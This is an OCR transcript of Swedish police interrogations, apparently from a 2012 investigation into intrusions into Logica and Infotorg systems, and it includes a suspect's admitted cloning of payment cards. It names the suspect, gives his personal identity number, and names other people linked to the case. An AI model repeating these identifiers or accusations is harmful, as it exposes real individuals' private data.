Fhl : . . .  

MG: Ja, det är en kille som bor i Stockholm. 

Fhl : Har du gjort sökningar på honom? 

MG: Näe . . .  Oj ! Jag trodde du sa Conny Rosen. Jag använde . . . . Det var fel !  Nej ,  
men det vet jag inte . Jag trodde du mena en annan. 

Fhl : Vem är Conny Rosen? 

MG: Näe, ingenting. 
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Fhl : Va? 

MG: Ingen, sa jag. 

Fhl : Jo, du sa "Conny Rosen" .  

MG: Ja . . .  

Fhl : "Som bor i Stockholm",  sa du. 

MG: Ja . . .  Näe, jag hörde fel .  

Fhl : Okej . Men, vem är Conny Holm då? 

MG: Jag har ingen aning. 

Fhl : Du har ingen aning? 

MG: Näe . . .  

Fhl : Har du gj ort sökningar på honom på Infotorg? 

MG: Inte vad j ag vet. 

Fhl : Om det har gjorts sökningar på Conny Holm ifrån din utrustning, vem kan 
ha gjort det? 

MG: Jag vet inte . Det är väl en massa olika. 

Fhl : Som t. ex. ?  

MG: Ja, en massa olika bara, . . .  j ag vill inte säga mer. 

Fhl : Har du tillgång till fler datorer? 

MG: Näe. 

Fhl : . . .  än dom som vi har påträffat i din bostad? 

MG: Näe, det har jag inte . 

Fhl : Det har du inte? 

MG: . . .  

Fhl : Inga telefoner heller? 

MG: Näe. 
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Bfhl: Hårddiskar? 

MG: Näe. 

Fhl : Har du nyttjat några externa lagringsplatser, molntj änster? 

MG: Näe. 

Fhl : VPS? 

MG: Vad heter det? 

Fhl : VPS - Virtual Private Server - lösningar? 

MG: Näe. 

Fhl : Aldrig? 

MG: . . .  

Fhl : Vi har hittat spår från intrång i Logicas stordatormilj ö, spåren kommer från 
din lP-adress och vi har hittat spår i en dator som vi har tagit i beslag hos dig. 
Vem kan ha använt den utrustningen och gj ort det här? 

MG: Ingen aning. 

Fhl : Kan du ha gj ort det? 

MG: Näe, jag har inte gj ort det. 

Fhl : Vem ska kunna ha gj ort det då? 

MG: Jag vet inte, ingen aning säger jag.  

Fhl : Vilka är det som har haft tillgång till dom här datorerna då som du har i 
din bostad? 

MG: Jag har redan svarat på den ! 

Fhl : Jaa, det har du gj ort men det var inget så bra svar, tycker jag. Det var 
därför jag frågade om. Vid häktningsförhandlingen - kommer du ihåg, som vi 
var på, där var ju jag och Olle och lyssnade - då sade du ju att du hade haft 
S SH . . .  

MG: Ja, en VNC-server på, ja. 

Fhl : En VNC-server? 

MG: Också. 
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Fhl: På vilken dator menar du då? 

MG: Det tror jag . . .  , j ag tror jag har det på alla. 

Fhl : Du har det på alla? 

MG: Mm . . .  

Fhl : Och då händer det j u  att det fanns andra personer som vi ger dom här 
fjärrinloggningslösningama skulle kunnat fått access till din dator. 

MG: Mm . . .  , precis .  

Fhl : Vilka personer är det? 

MG: Ja, det vill jag inte säga ! 

Fhl : Varför vill du inte säga det? 

MG: För att jag inte vill ! 

Fhl : Kan dom här personerna ha gjort nånting? 

MG: Det är möj ligt. 

Fhl : Har du lämnat information som du har fått tillgång till från Infotorg till 
andra personer? 

MG: Näe. 

Fhl : Vad har du gjort med informationen då? 

MG: Ingenting. 

Fhl : Ingenting? 

MG: Näe. 

Fhl : Har du chattat med några personer om att du har varit inne på Infotorg? 

MG: Jag vet inte . 

Fhl : Du vet inte? 

MG: Näe. 

Bfhl: Har du diskuterat det på nåt forum? 

MG: Näe, det har jag inte . 
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Bfhl:  Brukar du inte använda forum? 

MG: Näe, inte så mycke. 

Fhl : Brukar du använda anonymiseringstjänster när du är ute på Internet? 

MG: Hade jag använt det så hade jag ju inte setat här ! 

Fhl : Vi har hittat spår och att det har körts på delar av beslaget. 

Ad F •• l o t !  H fro  "A •• d d " ? v: or a . ur var agan, n van er u . . . .  . 

Fhl : Anonymiseringstjänster på telefonen eller datorerna. Du vet vad det är för 
nånting? 

MG: Jaa. 

Fhl : Har vi hittat spår av att det används . 

MG: Ja, men det är ganska många som andvänder det. 

Fhl : Jaa, men j ag frågar ju dig nu. 

MG: Jaa, ibland. 

Fhl : Du använder det ibland? 

MG: Jaa. 

Fhl : Vad använder du då för typ av anonymiseringstjänst? 

MG: TOR. 

Fhl : TOR? 

MG: . . .  

Fhl : Varför kör du TOR då? 

MG: För att j ag kör TOR. 

Fhl : Jo, men av vilken anledning kör du TOR? 

MG: Det vill jag inte säga. 

Fhl : Har du använt nån annan anonymiseringstj änst? 

MG: Neej . 

Fhl : Inte? 
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MG: . . .  

Fhl : Vilken dator har du kört TOR på då? 

MG: Jag tror det finns installerat på alla. 

Fhl : Jaha. Nu tänkte jag att vi skulle gå igenom lite av beslaget här. Vi har 
tagit bilder på delar av beslaget här och det är numrerat efter beslagspunkter då. 
Du ska få berätta lite om dom olika beslagen här. Du kommer få . . . . 

MG: Det vill jag inte göra ! 

Fhl : Du vill inte göra det? 

MG: Näe. 

Fhl : Men jag kommer visa dig en bild och sen så får du säga. Jag kan ju inte 
tvinga dig och prata, det . . .  

MG: Mm . . .  

Fhl : För s å  funkar det j u  inte, men jag måste j u  ändå visa dig.  Nu ska vi se 
här . . .  Här har vi, det här är alltså beslagspunkten 2012-02-0l-BG10221-9 , 
det är ett minneskort. Här visar jag det för Mathias . Känner du igen det? 

MG: (Tystnad) Näe . . .  Nej ,  det gör jag inte . 

Fhl : Du gör inte det? 

MG: . . .  

Fhl : Nu så går vi till beslag 2012-02-01-BG10221-1 1 och det ska vara en 
hårddisk. Jag visar det för Mathias . Känner du igen den? 

MG: Jag vet inte . Alla ser ju likadana ut. Vart låg den nånstans? 

Fhl : Den låg på TV-bänk i vardagsrum. Känner du igen den? 

MG: Näe, vill inte svara på det. 

Fhl : Då går vi till beslagspunkten 2012-02-0l-BG10221-10, minneskort. 

Bfhl: . . .  (viskar ohörbart) 

Fhl : Va? 

Fhl : Det var l O : an, just det den här låg på TV -bänken i vardagsrummet också 
när vi gj orde tillslaget. 
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MG: Okej . 

Fhl : Kan du berätta nånting om det? 

MG: Näe. 

Fhl : Känner du igen det? 

MG: Jaa. 

Fhl : Det gör du? 

MG: Jag har sett det här. 

F hl : Är det ditt? 

MG: Näe. 

Fhl : Det är det inte? 

MG: . . .  

Bfhl:  Vet du vems det är? 

MG: Näe. 

Fhl : Då har vi beslagspunkten 2012-02-0l-BG10221-13 och det är också ett 
minneskort Känner du igen det? 

MG: Jag har sett det här förut också. 

Fhl : Är det ditt? 

MG: Näe. 

Bfhl:  Vet du vad det innehåller? 

MG: Näe, ingen aning. 

Fhl : Då går vi till beslagspunkten 2012-02-01-BG10221-14 , det är en bärbar 
dator och den hittade jag under fönstret i vardagsrummet. 

MG: Ehh . . .  Jag vet inte, dom ser likadana ut alla dom här IBM, tycker jag.  

Fhl : Hade du flera sådana? 

MG: Ja, men j ag har . . .  har bara en som funkar. 

Fhl : Ja, men du har flera eller . . .  ? 
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MG: Ja. 

Fhl : Okej . 

Bfhl:  Det här var inte den som stod på vardagsrumsbordet, alltså. 

MG: Näe, jag vet inte ! Det är därför . . . . 

Bfhl: Nej , jag säger det till dig. 

MG: Jaha, okej . 

Bfhl:  Den låg under fönstret. 

MG: Jaha ! Den är trasig. 

Bfhl: Den är trasig? 

MG: Ja. 

Bfhl: Vems är den? 

MG: Den ska jag . . . .  Jag håller på och hjälper en tant, så ska jag laga den. 

Bfhl:  Vad heter hon? 

MG: Miss . . . . Det vet jag faktiskt inte. 

Bfhl: Hur kom du i kontakt med henne då? 

MG: Näe, men jag vill inte svara på det där. 

Fhl : Ja, då tar vi beslagspunkten 2012-02-01-BG10221-15 och det här är 
ytterligare en IBM. Den låg också under fönstret i vardagsrummet, på en 
notering här. 

Bfhl: Den är ganska lik punkt 14 .  

MG: Jaa. Mm . . .  , ser ganska lika ut. 

Fhl : Vet du vems den är? 

MG: Näe. 

Bfhl:  Ingen aning? 

MG: Näe, jag vet inte . 

Fhl : Ingen aning? 
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MG: Näe. 

Fhl : Då går vi till beslagspunkten 2012-02-0l-BG10221-16 , en bärbar dator 
av märket HP och den här hittade vi i soffan i vardagsrummet. Känner du igen 
den? 

MG: Det är Lisas mammas . 

Fhl : Lisas mammas? 

MG: Jaa. 

Bfhl:  Har du använt den här datorn? 

MG: Njae, j ag tror inte det. 

Bfhl:  Vet du vad det är för inloggning på den, lösenord? 

MG: Näe. 

Fhl : Då går vi till 2012-02-01-BG10221-17 , och det är en bärbar dator av 
märket MG (05 .09) och den hittade jag också på bordet i vardagsrummet. Så 
ser den ut. 

MG: Mm . . .  Den brukar jag använda. 

Fhl : Den brukar du använda? 

MG: Jaa. 

Fhl : Vad är det för lösenord till den då? 

MG: Jag vet inte . 

Fhl : Har du glömt bort det eller vill du inte säga bara? 

MG: Näe, jag vet inte . 

Fhl : Här går vi till beslagspunkten 2012-02-01-BG10221-18 , och det är ett 
minneskort, 90SB-kort. Så där ser det ut. 

MG: Näe, jag har ledsen, alla ser ju ut så där. 

Fhl : Vad säger du? 

MG: Alla minneskort ser ju ut så där. 

Fhl : Ja, jo ,  visst ! Men det här hittade vi på vardagsrumsbordet Det är inget 
som du känner igen eller . . .  ? 
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MG: Näe. 

Fhl : Då går vi till punkten 1 9  här, 2012-02-01-BG10221-19 , och den hittade 
vi på vardagsrumsbordet också. Den ser ut så här. Märket IBM. 

MG: Den . . .  Den e min fast Lisa brukar använda den. Det där är Lisa som 
använder den nu. 

Fhl : Och vad är det för lösenord till den då? 

MG: Ehh . . .  Det kommer jag inte ihåg. 

Fhl : Jag tänkte gå till beslagspunkten 2012-02-01-BG10221-25 , en Sony 
Ericssontelefon. 

MG: Mm . . .  , det är min mobil. 

Fhl : Är det din mobil? 

MG: Ja. 

Fhl : Ja . . .  

Bfhl: Är det nån PIN-kod eller lösenord på den? 

MG: Inte vad jag vet. 

Fhl : Så går vi till beslagspunkten 2012-02-0l-BG10221-26 

MG: Det var den som satt i datorn. 

Fhl : Vad sa du? 

MG: . . .  

Fhl : Den är det. Den här hittade vi i garderoben i hallen, du hade ju lite grejer 
där. 

MG: Ja? 

Fhl : Känner du igen den hårddisken? 

MG: Neej .  

Fhl : Vad hade du för prylar där i garderoben då? Vad var tanken med . . .  ? 

MG: Näe, jag reparerar laptopps ibland. 

Fhl : Okej . 
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Bfhl: Vems skulle den vara då, tror du, om den ligger i garderoben? 

MG: Näe, den kommer väl från några skrotdatorerna jag fått. 

Bfhl: Kan det va trasigt eller . . .  ? 

MG: Jaa. 

Fhl: Ja, sen tar vi beslagspunkten 2012-02-01-BG10221-26 och det är en 
stand hårddisk, låg också i garderoben i hallen, ser ut så där ! 

MG: Okej . 

Fhl : Vad säger du om den då? 

MG: Jag vet inte . 

Fhl : Är den din? 

MG: Ehh . . .  Det tror jag inte . 

Fhl : Varför har du den där då? 

MG: Näe, jag har väl försökt å fixa den där antagligen. 

Fhl : Du ska laga den? 

MG: Ja. 

Fhl : Sen har vi 2012-02-0l-BG10221-29 , det är en bärbar dator också av 
märket HP, låg i garderoben i hallen. 

MG: Ja, den håller jag också på och fixar. 

Fhl : Okej . Vems är den då? 

MG: Ja, det är en kompis. 

Fhl : En kompis? 

MG: Jaa. 

Fhl : Vad heter han då . . .  eller hon? 

MG: Näe, men det vill jag inte säga. 

Fhl : Det vill inte du säga? 

MG: . . .  
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Fhl : Nehej . 

Bfhl:  Är den fixad eller ska du fixa den? 

MG: Ehh . . .  Den är . . .  Näe, ska fixas . . . .  tangentbordet och touchpaden funkar 
inte . 

Fhl : Då tar vi den sista här då, 2012-02-0l-BG10221-40 en telefon. Känner 
du igen den? 

MG: Det är Lisas mobil. 

Fhl : Skulle du använda den nånting? 

MG: Neej 

Fhl : Okej . Jaa, om inte . . . . . Har du nåt mer, Olle? 

Bfhl:  Nej . 

Fhl : Inte jag heller. Då är vi klara, Mathias, för idag. 

MG: Okej . 

Fhl : Då är förhöret avslutat. Är det nån som har nåt klockslag här, jag har 
. 

? mgen . . . . .  

Bfhl:  Ja, den är halv. 

Fhl : Halv är den. Klockan är 1 3 .30 .  

Adv: Och försvararen har inga frågor. 

Fhl : Och försvaret har inga frågor? Ja, okej . Då stannar vi där. 

Stockholm som ovan 

John steenmark 
Kriminalinspektör 
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Fhl : Ja, du är tidigare delgiven den här misstanken om dataintrång under en 
tidsperiod 25 februari 20 1 2 - 1 5  april 20 1 2 .  Nu kommer du delges även att du 
är misstänkt för samma brott från januari 20 l O fram till den 1 5  april i år. Hur 
ställer du dig till den misstanken? 

MG: Ehh . . .  Det tror j ag inte . Ehh . . .  Nekar. 

Fhl : Både gentemot Logicas databas och Infotorg? 

MG: Möj ligtvis Infotorg då. 

Fhl : Att du har vart inne i Infotorgs databas tidigare? 

MG: Mm . . .  

Fhl : Vi hade j u  ett förhör för några veckor sen, är det nånting som du har tänkt 
på, som du har kommit på, som du borde ha sagt då? 

MG: Näe, j ag tror inte det. 

Fhl : Det första förhöret vi höll med dig, det var den 1 7  april .  Då visade vi ett 
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utdrag " . . .  ohörbart . . .  history" som vi hade hittat, som du säger är Lisas dator. 
Kommer du ihåg det? 

MG: Mm . . .  

Fhl : Det är j u  en mapp som heter Infotorg där. 

MG: Ja? 

Fhl : Kan du säga nånting om den mappen? 

MG: Neej .  

Fhl : Vad den innehåller eller . . .  ? 

MG: Näe . . .  Jag vet inte faktiskt. 

Fhl : Känner du igen mappen, namnet på mappen? 

MG: Ja, j ag känner igen namnet Infotorg, känner jag ingen. 

Fhl : Men att det ska ha funnits en mapp som heter så. 

MG: Näe. 

Bfhl: Jag måste bara fråga dig.  Det här är ju . . .  ohörbart . . .  history-filen för 
användarkontet Lisa. 

MG: Mm . . .  

Bfhl: Är det Lisas dator? 

MG: Jaa. 

Bfhl: Vem är det då som har skrivit dom här kommandona i hennes dator? 

MG: Det kan ju vara vem som helst. 

Bfhl:  I hennes dator? 

MG: Jaa, precis ! 

Bfhl: Varför kan det va vem som helst? 

MG: För vem som helst kan ha setat där. 

Bfhl: Vem som helst? ! 

MG: Jaa. 
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Bfhl:  Enligt Lisa så har ni ju ett väldigt begränsat umgänge. 

MG: Va? ! 

Bfhl:  Ni har ett väldigt begränsat umgänge, enligt Lisa. 

MG: Okej . . .  Ja, ja . . .  

Bfhl:  Har ju hon sagt. Vad säger du om det? Har hon fel när hon säger det? 

MG: Nej ,  det har hon . . .  ohörbart . . .  

Bfhl :  Och då menar jag att då kan det j u  inte va vem som helst som kan ha setat 
här. 

MG: Det kan det väl ha vart ! 

Bfhl :  Kan det det då? 

MG: Jaa. 

Bfhl:  Om det bara är ett fåtal personer som brukar va hemma hos er? 

Fhl : Vilka personer förutom du och Lisa brukar använda datorn? 

MG: Det vill jag inte säga. 

Fhl : Vad sa du, "det vill du inte . . .  " ?  

MG:  Säga. 

Fhl : Okej . Vid förra förhöret så visade vi dig en del bilder på beslag. 

MG: Mm . . .  

Fhl : Bland annat ett minneskort som ser ut s å  här, som låg p å  TV -bänken 
. . .  ohörbart . . .  

MG: Jaa. Känner jag inte igen. 

Fhl : Det känner du inte igen? 

MG: . . .  

Fhl : Lisa säger ju att det här är ditt minneskort. 

MG: Okej . 

Fhl : Är det fel? 
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MG: Jag tycker alla minneskort ser likadana ut, jag känner inte igen det där i 
alla fall. 

Fhl : Näe . . .  Om vi säger, på det här minneskortet finns det en mapp som heter 
Infotorg. 

MG: Okej . 

Fhl : Är det nånting du kommer ihåg idag? 

MG: Nej , inte alls . 

Fhl : Kommer du inte ihåg eller vill du inte? 

MG: Neej ,  jag kommer inte ihåg att det ens är mitt, sa j ag. Jag har ingen . . . . Jag 
är inte medveten om att det fanns såna. 

Fhl : Sen vid förra förhöret pratade vi också om moln-tjänster (?), om du 
nyttjade några såna? 

MG: Det gör jag inte . 

Fhl : Ingen alls? 

MG: . . .  

Fhl : Har du gjort det tidigare? 

MG: Näe. 

Fhl : Nej ,  då tror jag att vi är klara. Har du nånting John? 

Bfhl: Neej . 

Fhl : Har advokaten några frågor? 

Adv: Nej ,  tack ! 

Fhl : Då avslutar vi förhöret och klockan borde då vara 09 .26.  

Stockholm som ovan 

Olle Wahlström 
Kriminalinspektör 
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Hörd person 

Gustafsson, Bror Olof Mathias 

Den hörde är 

Misstänkt 
Tolk 

ID  styrkt 

Ja 

Brottsmisstanke l Anledning ti l l  förhöret 

Sätt 

Känd av Bengt Rehnberg 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 976 1 1 1 7-7234 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 
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Förberedelse till grovt bedrägeri medelst urkundsförfalskning genom att inneha över 40 blanka kort se 

manupulerats på sådant sätt att det kan misstänkas att de skall missbrukas. 
Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Ja Ja 
Försvarare/ombud önskas Försvarare/ombud närvarande 

Björn Hurtig kunde inte närvara. Ja 

Istället för Hurtig var Pehr Amren 

närvarande under förhöret. 

Förhörsledare 

Bengt Rehnberg 
Förhörsplats 

strategiska sektionen, plan 5 
Förhörsvittne 

Berättelse 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-05-30 10 : 00 1 0 : 55  

Typ av förhör Förhörssätt 

RB 23 :6  
Utskrivet av 

Mathias Gustafsson underrättades om misstanken enligt ovan i fåltet misstanke/anledning till 
förhör. 

Mathias Gustafsson förnekar brott. 

Mathias Gustafsson tillfrågas om beslagspunkten BG 1 022 1 -22 ett VISA-kort, Citi Platinum. 

Mathias Gustafsson uppger att det är ett kort som han har tillverkat. På kortets magnetremsa 
finns Lisa Bergströms uppgifter som är kopierade från hennes VISA-kort. 

Mathias Gustafsson tillfrågas om han ändrat eller tagit bort någonting från Lisas kortuppgifter 
i samband med att han kopierade det. 

Mathias Gustafsson säger att han inte har ändrat något, bara kopierat rakt av de uppgifter som 
fanns på Lisas riktiga kort. 

Beslagspunkten BG l 022 1 -23 är 42 stycken blanka kort med magnetremsa. Mathias 
Gustafsson tillfrågas vad han kan säga om dessa kort. 

Mathias Gustafsson säger att han har köpt dessa, han har för sig att det var ca 20 stycken på 
e-bay från Kina. 
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Beslagspunkten BG 1 022 1 -24 är en kartläsare, MSR 605 . Mathias Gustafsson tillfrågas vad 
han kan berätta om denna. 

Mathias Gustafsson säger att han har köpt den från Kina via e-bay. Tillsammans med 
kortläsaren ingick ett antal blanka kort. Han köpte dessa och de andra korten för ca l år sedan 
och han fick hem dem med posten. Mathias säger att kortläsaren är sönder nu. 

Mathias Gustafsson tillfrågas om han har gjort någonting med de blanka korten. 

Mathias Gustafsson säger att han har kopierat sitt eget VISA-kort och kanske även Lisas 
VISA-kort till något av de blanka korten. Han har även kopierat ett presentkort som Lisa har 
fått i födelsedagspresent till något av de blanka korten. 

Mathias Gustafsson tillfrågas varför han har köpt blanka kort och varför han har kopierat sitt 
och eventuellt Lisas kort och Lisas presentkort till de blanka korten och vad han skulle ha 
dem till. 

Mathias Gustafsson säger att han inte vet riktigt varför, men han vill se hur saker och ting 
fungerar. 

Mathias Gustafsson tillfrågas om det inte kan vara så att han hade tänkt använda 
presentkorten som han har tillverkat. 

Mathias Gustafsson svarar att det inte är någon ide att göra så eftersom de pengar som finns 
på originalkortet i så fall skulle försvinna och då har man ju inte vunnit något på att göra så. 
Mathias Gustafsson vet att det är så. 

Mathias Gustafsson tillfrågas om beslagspunkten BG l 022 1 -2 1 ,  ett kort från Svenska Spel 
med namnet Engvall på. 

Mathias Gustafsson säger att det tillhör en kompis till honom som heter Joacim Engvall och 
att Joacim måste ha glömt kortet hos Mathias när han har besökt honom vid något tillfälle. 

Mathias Gustafsson tillfrågas om beslagpunkten BG l 022 1 -20, ett finskt körkort och ett 
S-förmånskort (VISA) utställt på en Sari Laitinen. (Mathias Gustafsson får se beslaget) 

Mathias Gustafsson säger att han inte tror att han har sett dessa tidigare . Han har ingen annan 
förklaring till att de anträffats hos honom än att någon kan ha besökt honom under en fest 
eller så och glömt dessa. Mathias har ingen aning var polisen hittade dessa. Mathias 
Gustafsson gör inte anspråk på att få tillbaka punkten 20. Han känner inte den som är 
innehavare till korten. 

På frågan var han forvarade de övriga beslagspunktema som han tillfrågats om, svarar 
Mathias Gustafsson att han hade dessa kort i baren. 

Repeterat i anteckningsform och godkänt av Gustafsson. 
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Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 
Hörd person 

Gustafsson, Bror Olof Mathias 

Den hörde är ID styrkt 

Misstänkt Nej 
Tolk 

Brottsmisstanke l Anledning t i l l  förhöret 

F ortsatta förhör angående dataintrång 
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Förhör 
Signerat av 

Olle Wahlström 
Signerat datum 

20 1 3 -03-2 1 1 6 : 1 9  

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 9761 1 1 7-7234 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas 

Arash Raoufi 

Förhörsledare 

Olle Wahlström 
Förhörsplats 

Häktet Österåker 
Förhörsvittne 

Persson, Joakim 

Berättelse 

Försvarare/ombud närvarande 

Ja 
Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 12-06- 1 4  1 0 : 1 0  1 0 :20 
Typ av förhör Förhörssätt 

RB 23 : 6  Ljudbandsförhör 
Utskrivet av 

Fhl : Nu var det ett tag sedan vi hade förhör sist. Är det nånting du har tänkt på? 

MG: Nej . 

Fhl : Nånting du vill ändra på eller . . .  ? 

MG: Nej ,  ingenting. 

Fhl : Du har ju berättat att du har haft tillgång till konton på Infotorg som du har 
loggat in på. 

MG: Mm . . .  

Fhl : Är det här nånting som du har delat med dig av till någon? 

MG: Nej . 

Fhl : Har du fått dom av nån? 

MG: Tyvärr . . .  Nej . 

Fhl : Hur har du fått dom då? 

MG: Nej ,  j ag hittar dom bara. 
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Fhl: Var har du hittat dom nånstans? 

MG: Det vill jag inte säga ! 

Fhl : Vet du om andra har fått del av dom kontona? 

MG: Jag vet inte, kanske. 

Bfhl: Vem skulle det kunna vara i så fall då? 

MG: Neej ,  jag vet inte . 

Fhl : IRC . . .  

MG: IRC? 

Fhl : Ja. 

MG: Vad är det med det? 

Fhl : Nånting du brukar använda. 

MG: Vad sa du? 

Fhl : Brukar du använda det? 

MG: . . .  ohörbart . . .  08 .3 1 

Fhl : Hur länge sen är det då? 

MG: Jag vet inte . 

Fhl : En IRC-kanal som heter hack.se, känner du till den? 

MG: Ja. 

Fhl : Brukar du vara där? 

MG: Förut var jag där. 

Fhl : Hur länge sen då ungefär? 

MG: Jag vet inte . 

Fhl : Vad hade du för användar . . . . eller nick? 

MG: Äh, det är olika varje  gång. 

Bfhl: Kan du ge exempel på några du brukar använda? 
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MG: Näe . . .  

Fhl : Kan du inte eller vill du inte? 

MG: Jag kan inte. 

Fhl : "Dirox" ,  är det bekant? 

MG: Mm . . . . . .  ohörbart . .  . 

Fhl : Är det ditt? 

MG: Näe. 

Fhl : Vems kan det vara då? 

MG: Jag vet inte . 

Fhl : Men, du känner igen det? 

MG: Jaa. 

Fhl : Och det är inte ditt? 

MG: Nej . 

Fhl : "Snuggel"? 

MG: Ja? 

Fhl : Känner du igen det? 

MG: Ja. 

Fhl : Vem är det då? 

MG: Det vet jag inte . 

Fhl : "KRS"? 

MG: Ingen aning. 

Fhl : Ingen aning? 

MG: . . .  

Fhl : Nej . . .  Känner du någon som heter Kristoffer Smedlund? 

MG: Näe, jag vet inte . . . .  ohörbart . . .  använt deras riktiga namn. 
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Bfhl:  Men, har du träffat nån som heter . . .  ? 

MG: Det vet jag inte . 

Bfhl:  Om vi säger hans nick, det är ju Snuggel eller KRS. 

MG: Okej . 

Bfhl: Känner du igen det då? 

MG: Näe. 

Bfhl:  Nej . 

MG: . . .  ohörbart . . .  7 .06 

Fhl : Kan du komma på att du har skrivit nånting till KRS eller Snuggel? 

MG: Nej . 

Fhl : Vet du inte eller kan du inte ? 

MG: Nej ,  jag vet inte . . .  jag vet inte . 

Fhl : Du vet inte . Kristoffer Smedlund, han sitter också häktad i det här ärendet. 

MG: Okej . 

Fhl : Och vi har ju kollat i hans datorer också, så klart. 

MG: Mm . . .  

Fhl : Och i hans datorer s å  har vi hittat saker som kommer ifrån Infotorg och 
Logi ca. 

MG: Ja, okej . 

Fhl : Och dom här chartema, dom säger han att han har fått av dig. 

MG: Ja, okej . Det stämmer inte ! 

Fhl : Det gör det inte? 

MG: Neej .  

Fhl : Men har ni haft nån kontakt som han kan ha fått det här av? 

MG: Nej . . . .  ohörbart . . .  högt? 06. 1 7  
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Fhl : Neej . Men det här, "Dirox" .  Han säger att det är du som är Dirox. 

MG: Ja, okej . Näe, j ag vet inte . 

Fhl : Vet du inte om det är du som är Dirox eller vill du inte säga? 

MG: Nej . . .  Nej ! Jag använder ju olika. 

Fhl : Jaa, men du har använt Dirox. 

MG: Nej , det vet j ag inte. Det tror jag inte. 

Fhl : Du tror inte? 

MG: Näe. 

Fhl : Men känner du igen Dirox? Har du sett det? 

MG: Ja, jag säger det. Jag har svarat på det. 

Fhl : Men du vet inte om det är du eller om det är nån annan? 

MG: Näe. 

Bfhl: Du vet inte eller du vill inte svara? 

MG: Jag vet inte . 

Fhl : Men, nu är det ju du som är Dirox. 

MG: Ja, säger du det så. 

Fhl : Det har vi kunnat se i dina datorer. 

MG: Jaha, okej . Vad jag minns . . .  ohörbart . . .  05 .3 1 

Fhl : Näe. Varför skulle Kristoffer säga att det är du om du inte är det? 

MG: Näe, jag vet inte . 

Fhl : Han säger ju att han känner dig. 

MG: Okej . 

Bfhl:  Han säger att ni brukar chatta i hack. se- kanalen och att ni har träffats på 
Dream Mae (?) i Borlänge tidigare . 

MG: Men jag har aldrig varit på Dream Mae. 

Bfhl: Inte ens när du var i Borlänge? 
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MG: Näe. 

Fhl : Näe. Har ni nåt mer? 

Bfhl: Känner du till några andra nick då? "Hapan" till exempel? 

MG: Ehh . . .  Ja. 

Bfhl:  Vem är det? 

MG: Jag vet inte . Jag känner ju nicket bara. 

Bfhl:  Du känner igen nicket? 

MG: Ja. 

Bfhl: Okej . Brukar du prata med Hapan nånting? 

MG: Vad sa du, att . . .  ? 

Bfhl:  Brukar du prata med Hapan nånting? 

MG: Näe. 

Bfhl:  Inte chatta med honom heller? 

MG: Näe . . . .  eller jag har väl gj ort det nån gång, fast det är länge sen. 

Bfhl:  Okej . Vad brukar du prata om då? 

MG: Jag vet inte . 

Bfhl :  Var brukar du prata med honom? Var det på hack.se- kanalen? 

MG: Ehh . . .  Jag vet inte, kanske. 

Bfhl :  Brukar du snacka fler i IRC-kanaler? 

MG: Hur menar du då? 

Bfhl:  Brukar du prata fler i IRC-kanaler? 

MG: Näe ! 

Bfhl: Det är bara . . . . Det är bara hack.se liksom? 

MG: Ja. 

Bfhl :  Okej . Känner du till ett nick som heter "HappyH"? 
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MG: Ehh . . .  Ja, jag känner igen det också. 

Bfhl:  Brukar också hänga på IRC? 

MG: Jaa, j ag tror det. 

Bfhl:  Också hack. se? 

MG: Ja. 

Bfhl: Brukar du prata med honom? 

MG: Näe, jag tror inte det, känner bara igen nicket. 

Bfhl:  Vet du några fler personer som brukar hänga i hack.se-kanalen, några 
fler nick alltså? 

MG: (Funderar) Jag vet inte. Om jag ser dom kanske jag känner igen. 

Bfhl: Vilka är det mer? "Serm" t. ex . .  Är det nåt du känner igen? 

MG: Jaa. 

Bfhl: Han brukar också hänga på hack. se? 

MG: Jag tror det. 

Bfhl: Du tror det. Brukar du snacka med honom nånting? 

MG: Näe. 

Bfhl:  Vilka har vi mer? "Deka"? 

MG: Ja, jag känner igen det också. 

Bfhl:  Du vet vem det är också? 

MG: Näe. 

Bfhl :  Inte? 

MG: Men j ag känner igen namnet. 

Bfhl:  Okej . 

MG: Jag vet inte vad dom heter på riktigt, alltså. Men, jag känner igen nicken. 

Bfhl:  Okej . Har vi några fler nick? 
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? :  Jaa . . .  

Bfhl: "Anakata" ,  känner du igen det? 

MG: Näe, jag känner . . . . .  Det är Pirat Bay-killama. 

Bfhl: Är det flera som har det eller . . .  ? 

MG: Vad då? 

Bfhl:  Du sa "Pirat B a y-killarna" . 

MG: Killen, sa jag. 

Bfhl: Vem då av dom? 

MG: Anakatas? 

Bfhl: Ja. Vad heter dom på riktigt? 

MG: Gottfrid, tror jag.  

Bfhl :  Brukar ni använda nåt annat nick? 

MG: Ingen aning. 

Bfhl:  "Tiamo" då, brukar du . . . . ? 

MG: Näe, jag känner igen det också, det är också Pirat Bay-killama. 

Bfhl :  Också Pirat Bay-kille? 

MG: Ja. 

Bfhl: Brukar du snacka med honom nånting? 

MG: Näe. 

Bfhl:  Brukar han hänga i hack. se? 

MG: Ja. 

Bfhl: Men du har inte pratat med honom? 

MG: Näe . . .  j a, jag har pratat med nån . . .  ohörbart . . .  mest, j ag brukar inte göra 
det. 

Bfhl:  Men, vad brukar du göra här på hack.se? Vad . . .  Vad . . .  Eller om vi säger 
så här, du säger att du brukar hänga där ibland. Vad är det för topics som 
brukar prata så liksom? 
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MG: Ehh . . .  Jag vet inte riktigt. 

Bfhl:  Men vad var liksom det senaste som ni snackade om? 

MG: Hördu, j ag har ingen aning faktiskt. 

Bfhl:  Nej . . .  För Kristoffer Smedlund, han säger att den senaste topica som de 
pratade om där, det var just det här intrånget mot Logica och Infotorg. 

MG: Ja, okej . Äh, det vet inte jag, jag har inte hängt där på länge . 

Bfhl: Du har inte hängt där på länge? 

MG: . . .  

Bfhl:  Han namnger ändå dig som aktiv i det här. 

MG: Okej . 

Bfhl:  Är det fel av honom? 

MG: Ja, det �cker j ag. 

Bfhl:  Det stämmer inte eller . . .  ? 

MG: Neej .  

Bfhl:  Vet du nån annan som har varit aktiv med hacket mot Infotorg eller 
Applicate eller Lociga? 

MG: Näe, jag har ingen aning faktiskt. 

